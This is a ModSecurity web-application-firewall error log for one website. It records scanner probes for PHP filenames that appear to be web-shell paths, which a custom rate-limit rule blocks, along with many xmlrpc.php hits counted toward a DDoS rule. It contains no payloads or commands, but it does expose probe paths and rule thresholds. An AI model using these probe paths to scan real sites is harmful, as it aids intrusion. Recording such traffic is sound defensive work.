[Sun Apr 12 01:35:45.247807 2026] [:error] [pid 44698:tid 44712] [client 158.158.55.67:18575] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "adqGcRgoH9UWd-U3D55gyAAAAIk"]
[Sun Apr 12 01:35:46.193610 2026] [:error] [pid 45064:tid 45112] [client 158.158.55.67:31247] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adqGcpcHBvLyJ6EUhUr-CQAAAVM"]
[Sun Apr 12 01:35:46.899825 2026] [:error] [pid 44700:tid 44756] [client 158.158.55.67:56886] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adqGcmryPgh_uW4QPCll3wAAAMw"]
[Sun Apr 12 01:35:48.461985 2026] [:error] [pid 36938:tid 36942] [client 158.158.55.67:19830] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adqGdISWpa_VL1JPU6zdQAAAAYI"]
[Sun Apr 12 01:35:50.418811 2026] [:error] [pid 36909:tid 36915] [client 158.158.55.67:31280] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/x1da.php"] [unique_id "adqGdkGk5GhxTCzHUOoX2wAAAQQ"]
[Sun Apr 12 01:35:52.195352 2026] [:error] [pid 44700:tid 44762] [client 158.158.55.67:49168] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adqGeGryPgh_uW4QPCll5gAAANI"]
[Sun Apr 12 01:35:53.139304 2026] [:error] [pid 36909:tid 36926] [client 158.158.55.67:12961] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adqGeUGk5GhxTCzHUOoX3gAAAQ8"]
[Sun Apr 12 01:35:53.860499 2026] [:error] [pid 36909:tid 36919] [client 158.158.55.67:12589] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adqGeUGk5GhxTCzHUOoX4wAAAQg"]
[Sun Apr 12 01:35:54.769277 2026] [:error] [pid 36938:tid 36952] [client 158.158.55.67:58711] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/jp.php"] [unique_id "adqGeoSWpa_VL1JPU6zdYgAAAYw"]
[Sun Apr 12 01:35:55.470512 2026] [:error] [pid 36909:tid 36916] [client 158.158.55.67:33504] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adqGe0Gk5GhxTCzHUOoX5wAAAQU"]
[Sun Apr 12 01:35:56.110536 2026] [:error] [pid 36938:tid 36946] [client 158.158.55.67:56868] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adqGfISWpa_VL1JPU6zdawAAAYY"]
[Sun Apr 12 01:35:57.020865 2026] [:error] [pid 44701:tid 44775] [client 158.158.55.67:33521] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adqGfRGZAP4MrlxEPFc6vQAAAEM"]
[Sun Apr 12 01:35:57.843994 2026] [:error] [pid 44701:tid 44786] [client 158.158.55.67:39382] [client 158.158.55.67] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "adqGfRGZAP4MrlxEPFc6wwAAAEw"]
[Sun Apr 12 01:38:43.428814 2026] [:error] [pid 44701:tid 44771] [client 35.226.125.165:46418] [client 35.226.125.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.226.125.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqHIxGZAP4MrlxEPFc8VgAAAEA"]
[Sun Apr 12 01:38:55.722167 2026] [:error] [pid 36938:tid 36945] [client 146.190.84.203:55292] [client 146.190.84.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.190.84.203, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqHL4SWpa_VL1JPU6zfJgAAAYU"]
[Sun Apr 12 01:39:39.811389 2026] [:error] [pid 45064:tid 45101] [client 76.13.78.252:47014] [client 76.13.78.252] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 76.13.78.252, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqHW5cHBvLyJ6EUhUr-qgAAAUg"]
[Sun Apr 12 01:44:29.295155 2026] [:error] [pid 34152:tid 34169] [client 138.197.129.229:49896] [client 138.197.129.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.197.129.229, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqIfYFtE4RhFslT1DrA3AAAAA8"]
[Sun Apr 12 01:51:44.155918 2026] [:error] [pid 36909:tid 36932] [client 5.189.168.141:47620] [client 5.189.168.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.189.168.141, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqKMEGk5GhxTCzHUOodKwAAARU"]
[Sun Apr 12 01:52:49.576877 2026] [:error] [pid 44698:tid 44719] [client 54.36.209.212:58430] [client 54.36.209.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 54.36.209.212, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqKcRgoH9UWd-U3D55mYAAAAJA"]
[Sun Apr 12 01:58:28.433382 2026] [:error] [pid 45064:tid 45109] [client 209.38.77.153:57168] [client 209.38.77.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "adqLxJcHBvLyJ6EUhUoD4AAAAVA"]
[Sun Apr 12 02:06:44.306664 2026] [:error] [pid 36909:tid 36911] [client 185.115.179.201:11419] [client 185.115.179.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.115.179.201, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqNtEGk5GhxTCzHUOohUAAAAQA"]
[Sun Apr 12 02:08:03.062800 2026] [:error] [pid 44698:tid 44712] [client 143.244.166.58:51044] [client 143.244.166.58] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.166.58, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqOAxgoH9UWd-U3D55xhQAAAIk"]
[Sun Apr 12 02:11:42.632818 2026] [:error] [pid 44701:tid 44795] [client 67.73.243.12:43024] [client 67.73.243.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 67.73.243.12, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqO3hGZAP4MrlxEPFdJrwAAAFQ"]
[Sun Apr 12 02:13:30.348208 2026] [:error] [pid 44701:tid 44789] [client 211.21.61.244:41208] [client 211.21.61.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.244, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqPShGZAP4MrlxEPFdKgwAAAE4"]
[Sun Apr 12 02:15:09.305513 2026] [:error] [pid 44700:tid 44768] [client 167.172.129.25:55398] [client 167.172.129.25] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.129.25, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqPrWryPgh_uW4QPClzjwAAANg"]
[Sun Apr 12 02:16:38.556251 2026] [:error] [pid 44698:tid 44717] [client 83.166.155.159:32928] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqQBhgoH9UWd-U3D555XQAAAI4"]
[Sun Apr 12 02:17:40.527042 2026] [:error] [pid 44701:tid 44777] [client 165.227.121.154:48922] [client 165.227.121.154] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.227.121.154, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqQRBGZAP4MrlxEPFdLZgAAAEU"]
[Sun Apr 12 02:22:38.120783 2026] [:error] [pid 44698:tid 44712] [client 217.154.180.19:40576] [client 217.154.180.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.180.19, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqRbhgoH9UWd-U3D55-LgAAAIk"]
[Sun Apr 12 02:24:20.599167 2026] [:error] [pid 44698:tid 44719] [client 85.128.143.134:36644] [client 85.128.143.134] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 85.128.143.134, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqR1BgoH9UWd-U3D56AWgAAAJA"]
[Sun Apr 12 02:31:40.472522 2026] [:error] [pid 36938:tid 36956] [client 96.46.48.39:37876] [client 96.46.48.39] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 96.46.48.39, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqTjISWpa_VL1JPU6z7wAAAAZA"]
[Sun Apr 12 02:48:28.495121 2026] [:error] [pid 36938:tid 36958] [client 204.48.18.182:50768] [client 204.48.18.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 204.48.18.182, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqXfISWpa_VL1JPU6wDXAAAAZI"]
[Sun Apr 12 02:48:57.810580 2026] [:error] [pid 44700:tid 44754] [client 217.154.5.38:52110] [client 217.154.5.38] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.5.38, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqXmWryPgh_uW4QPCmDJwAAAMo"]
[Sun Apr 12 02:49:28.842803 2026] [:error] [pid 34152:tid 34172] [client 146.59.70.139:48008] [client 146.59.70.139] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.70.139, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqXuIFtE4RhFslT1DrS0gAAABI"]
[Sun Apr 12 02:50:04.200520 2026] [:error] [pid 44698:tid 44703] [client 146.59.232.195:40880] [client 146.59.232.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 146.59.232.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqX3BgoH9UWd-U3D56RWgAAAIA"]
[Sun Apr 12 02:51:48.511596 2026] [:error] [pid 44701:tid 44796] [client 178.254.50.20:60728] [client 178.254.50.20] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.254.50.20, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqYRBGZAP4MrlxEPFdVOwAAAFU"]
[Sun Apr 12 02:53:00.559734 2026] [:error] [pid 36938:tid 36945] [client 194.163.159.96:35402] [client 194.163.159.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.163.159.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqYjISWpa_VL1JPU6wEsQAAAYU"]
[Sun Apr 12 02:54:00.507359 2026] [:error] [pid 44700:tid 44763] [client 107.180.252.236:50934] [client 107.180.252.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 107.180.252.236, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqYyGryPgh_uW4QPCmGqQAAANM"]
[Sun Apr 12 02:54:44.012058 2026] [:error] [pid 44701:tid 44786] [client 167.172.153.2:46938] [client 167.172.153.2] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.172.153.2, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqY9BGZAP4MrlxEPFdWkwAAAEw"]
[Sun Apr 12 02:55:34.618894 2026] [:error] [pid 44700:tid 44744] [client 46.163.72.195:35714] [client 46.163.72.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.163.72.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqZJmryPgh_uW4QPCmG_gAAAMA"]
[Sun Apr 12 02:58:18.374142 2026] [:error] [pid 45064:tid 45113] [client 103.80.48.225:51002] [client 103.80.48.225] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.80.48.225, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqZypcHBvLyJ6EUhUoZ7gAAAVQ"]
[Sun Apr 12 03:08:33.489868 2026] [:error] [pid 34152:tid 34166] [client 148.113.202.220:53556] [client 148.113.202.220] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.113.202.220, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqcMYFtE4RhFslT1DraiQAAAAw"]
[Sun Apr 12 03:12:04.741275 2026] [:error] [pid 36909:tid 36924] [client 93.91.154.4:38632] [client 93.91.154.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 93.91.154.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqdBEGk5GhxTCzHUOpC4AAAAQ0"]
[Sun Apr 12 03:13:08.321696 2026] [:error] [pid 36909:tid 36924] [client 83.166.155.159:55208] [client 83.166.155.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 83.166.155.159, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqdREGk5GhxTCzHUOpDrAAAAQ0"]
[Sun Apr 12 03:17:56.180455 2026] [:error] [pid 36909:tid 36917] [client 194.163.159.96:40364] [client 194.163.159.96] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.163.159.96, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqeZEGk5GhxTCzHUOpHUwAAAQY"]
[Sun Apr 12 03:19:14.712924 2026] [:error] [pid 36909:tid 36933] [client 217.160.225.18:58758] [client 217.160.225.18] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.160.225.18, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqeskGk5GhxTCzHUOpIUQAAARY"]
[Sun Apr 12 03:21:58.946409 2026] [:error] [pid 36909:tid 36926] [client 81.169.202.222:57368] [client 81.169.202.222] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 81.169.202.222, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqfVkGk5GhxTCzHUOpLDgAAAQ8"]
[Sun Apr 12 03:26:57.069792 2026] [:error] [pid 36909:tid 36915] [client 5.9.109.189:44820] [client 5.9.109.189] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 5.9.109.189, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqggUGk5GhxTCzHUOpPKgAAAQQ"]
[Sun Apr 12 03:28:56.783100 2026] [:error] [pid 36938:tid 36943] [client 49.7.227.204:44184] [client 49.7.227.204] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "adqg-ISWpa_VL1JPU6wMmQAAAYM"]
[Sun Apr 12 03:39:44.891345 2026] [:error] [pid 36909:tid 36933] [client 149.202.183.73:46956] [client 149.202.183.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 149.202.183.73, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqjgEGk5GhxTCzHUOpYFwAAARY"]
[Sun Apr 12 03:40:43.167980 2026] [:error] [pid 45064:tid 45098] [client 137.184.237.108:34210] [client 137.184.237.108] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 137.184.237.108, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqju5cHBvLyJ6EUhUooiwAAAUY"]
[Sun Apr 12 03:49:59.473678 2026] [:error] [pid 36938:tid 36949] [client 51.210.113.223:53538] [client 51.210.113.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.210.113.223, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adql54SWpa_VL1JPU6wXuAAAAYk"]
[Sun Apr 12 03:51:45.283586 2026] [:error] [pid 15970:tid 16084] [client 177.149.171.41:64105] [client 177.149.171.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.149.171.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqmUUUFMMD-vAY1GXYM4AAAAFY"]
[Sun Apr 12 03:51:55.601360 2026] [:error] [pid 16146:tid 16151] [client 177.149.171.41:64758] [client 177.149.171.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.149.171.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqmW_EpEtAZB6OjXMoVVgAAAMI"]
[Sun Apr 12 03:52:06.392240 2026] [:error] [pid 15970:tid 16064] [client 177.149.171.41:65160] [client 177.149.171.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.149.171.41, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqmZkUFMMD-vAY1GXYNAwAAAEI"]
[Sun Apr 12 03:53:40.004636 2026] [:error] [pid 15970:tid 16067] [client 82.165.10.186:46816] [client 82.165.10.186] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.165.10.186, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqmxEUFMMD-vAY1GXYNdgAAAEU"]
[Sun Apr 12 03:53:59.402583 2026] [:error] [pid 15978:tid 16096] [client 82.154.116.112:33052] [client 82.154.116.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.154.116.112, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "adqm1_CgLfnuYNR-0aNx1AAAAIc"]
